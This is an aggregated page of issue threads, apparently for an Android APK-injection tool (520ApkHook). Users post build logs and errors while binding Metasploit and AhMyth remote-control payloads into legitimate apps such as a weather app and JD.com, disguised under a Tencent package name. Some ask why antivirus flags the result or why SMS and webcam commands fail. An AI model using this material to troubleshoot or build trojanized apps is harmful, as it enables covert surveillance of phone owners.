06/06 14:39:17.975 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/MainApplication$2.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.976 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$layout.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.976 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$color.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.977 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$xml.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.977 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/ClassLoaderUtils.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.978 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R$string.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.979 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/BuildConfig.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.979 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/MainActivity.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.992 I/HackApk: 已修改smali文件: /root/workDir/apkBoxDecodeDir/smali/com/tencent/android/qqdownloader/a520apkbox/R.smali, 替换 com/android/a520apkbox 为 com/tencent/android/qqdownloader/a520apkbox , 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox .
06/06 14:39:17.995 I/HackApk: 已修改AndroidManifest.xml文件. 替换 com.android.a520apkbox 为 com.tencent.android.qqdownloader.a520apkbox
06/06 14:39:17.999 I/HackApk: 开始复制资源文件到模板App中.
06/06 14:39:17.999 I/HackApk: 已将Payload Apk 的Dex压缩包复制到模板App的assets目录中.
06/06 14:39:18.048 I/HackApk: 已将被注入Apk复制到模板App的assets目录中.
06/06 14:39:18.048 I/HackApk: 已清空模板App中的 mipmap-xxxhdpi 文件夹.
java.lang.NullPointerException
at java.base/java.io.File.(File.java:278)
at org.a520apkhook.HackApk.copyAssesResFile(HackApk.java:248)
at org.a520apkhook.App.startHackApk(App.java:125)
at org.a520apkhook.App.run(App.java:76)
at picocli.CommandLine.executeUserObject(CommandLine.java:2026)
at picocli.CommandLine.access$1500(CommandLine.java:148)
at picocli.CommandLine$RunLast.executeUserObjectOfLastSubcommandWithSameParent(CommandLine.java:2461)
at picocli.CommandLine$RunLast.handle(CommandLine.java:2453)
at picocli.CommandLine$RunLast.handle(CommandLine.java:2415)
at picocli.CommandLine$AbstractParseResultHandler.execute(CommandLine.java:2273)
at picocli.CommandLine$RunLast.execute(CommandLine.java:2417)
at picocli.CommandLine.execute(CommandLine.java:2170)
at org.a520apkhook.App.main(App.java:44)

报错 Error 132(无法执行)

这个软件是需要什么依赖吗
java版本

openjdk 17.0.10 2024-01-16
OpenJDK Runtime Environment (build 17.0.10+7-Debian-1)
OpenJDK 64-Bit Server VM (build 17.0.10+7-Debian-1, mixed mode, sharing)

报错

02/08 11:20:05.046 I/HackApk: 已将被注入Apk复制到模板App的assets目录中.
02/08 11:20:05.049 I/HackApk: 已清空模板App中的 mipmap-xxxhdpi 文件夹.
02/08 11:20:05.065 I/HackApk: 重新向模板App中的 mipmap-xxxhdpi 文件夹复制图标文件.
02/08 11:20:05.067 I/HackApk: 所有资源文件已复制完成.
02/08 11:20:05.067 I/HackApk: 正在进行重新编译模板App.
I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
I: Checking whether resources has changed...
I: Building resources...
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 132): [/tmp/brut_util_Jar_129685134684315121427687715297487982335.tmp, p, --forced-package-id, 127, --min-sdk-version, 24, --target-sdk-version, 25, --version-code, 807, --version-name, 4.4.0, --no-version-vectors, -F, /tmp/APKTOOL15424374816079338117.tmp, -e, /tmp/APKTOOL18144024524575765135.tmp, -0, arsc, -I, /root/.local/share/apktool/framework/1.apk, -S, /root/123456/workDir/apkBoxDecodeDir/res, -M, /root/123456/workDir/apkBoxDecodeDir/AndroidManifest.xml]
root@localhost:~/123456#

怎么解决?

作者看下

520ApkHook.zipalign.signer.apk
只要安装这个是吧 那生成的证书不用管 我还是不知道为什么后面那个apk 要加./
我已经加了还是不行 还买了个安卓6.0手机 还是不行
你检查下是不是你写错JAVA了
我在应用信息里看了下 不论是手机还是雷电模拟器
生成的APP都没获取任何权限 在手机上如果手动赋予他权限
生成的程序最新版支付宝都能运行 雷电模拟器没法赋予权限运行
你检查下是不是生成的APP没赋予权限的问题

但是远控是附加的没法赋予权限所以也不运行在手机上只能支付宝运行就是手动赋予权限

注入后的Apk被手机管家检测出病毒

使用安卓模拟器时(雷电模拟器,安卓9),可以正常安装注入的Apk,也可以实现远控。但是在物理机上安装的时候,被检测出风险。
物理机(Redmi 3,Android 5.1.1),注入的应用为天气预报+msf.apk。
image
image
无视风险,继续安装,开启App时,远控程序也不会上线(物理机与Kali在同一局域网下,家庭Wifi)
image
image

部分命令无法使用

只有部分命令有效,像geolocate 、send_sms、webcam等都不行,就看看sysinfo这些,是哪里出什么问题了呢,Android 9,msf6.1.5

与ahmyth生成报错 无法解决

04/24 22:36:10.593 I/HackApk: 开始复制资源文件到模板App中.
04/24 22:36:10.601 I/HackApk: 已将Payload Apk 的Dex压缩包复制到模板App的assets目录中.
04/24 22:36:10.629 I/HackApk: 已将被注入Apk复制到模板App的assets目录中.
04/24 22:36:10.630 I/HackApk: 已清空模板App中的 mipmap-xxxhdpi 文件夹.
04/24 22:36:10.632 I/HackApk: 重新向模板App中的 mipmap-xxxhdpi 文件夹复制图标文件.
04/24 22:36:10.634 I/HackApk: 已复制Payload apk中的res/xml目录到520ApkBox中.
04/24 22:36:10.635 I/HackApk: 所有资源文件已复制完成.
04/24 22:36:10.635 I/HackApk: 正在进行重新编译模板App.
I: Using Apktool 2.7.0
I: Checking whether sources has changed...
I: Smaling smali folder into classes.dex...
I: Checking whether sources has changed...
I: Smaling smali_classes2 folder into classes2.dex...
I: Checking whether resources has changed...
I: Building resources...
W: C:\Users\Administrator\Downloads\workDir\apkBoxDecodeDir\res\values\strings.xml:21: error: Error parsing XML: not well-formed (invalid token)
W:
brut.androlib.AndrolibException: brut.common.BrutException: could not exec (exit code = 1): [C:\Users\ADMINI1\AppData\Local\Temp\brut_util_Jar_126096542864238835645729860449740751592.tmp, p, --forced-package-id, 127, --min-sdk-version, 23, --target-sdk-version, 34, --version-code, 248, --version-name, 2.4.8, --no-version-vectors, -F, C:\Users\ADMINI1\AppData\Local\Temp\APKTOOL7628463462367675163.tmp, -e, C:\Users\ADMINI~1\AppData\Local\Temp\APKTOOL17954077107222661684.tmp, -0, arsc, -I, C:\Users\Administrator\AppData\Local\apktool\framework\1.apk, -S, C:\Users\Administrator\Downloads\workDir\apkBoxDecodeDir\res, -M, C:\Users\Administrator\Downloads\workDir\apkBoxDecodeDir\AndroidManifest.xml]

主机信息:
Windows10 22h2
java version "11.0.21" 2023-10-17 LTS
Java(TM) SE Runtime Environment 18.9 (build 11.0.21+9-LTS-193)

远控:Ahmyth v1.0 beta5a无bind原生payload
绑定APP:京东.apk

如果需要的话,我可以提供其他主机环境信息

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.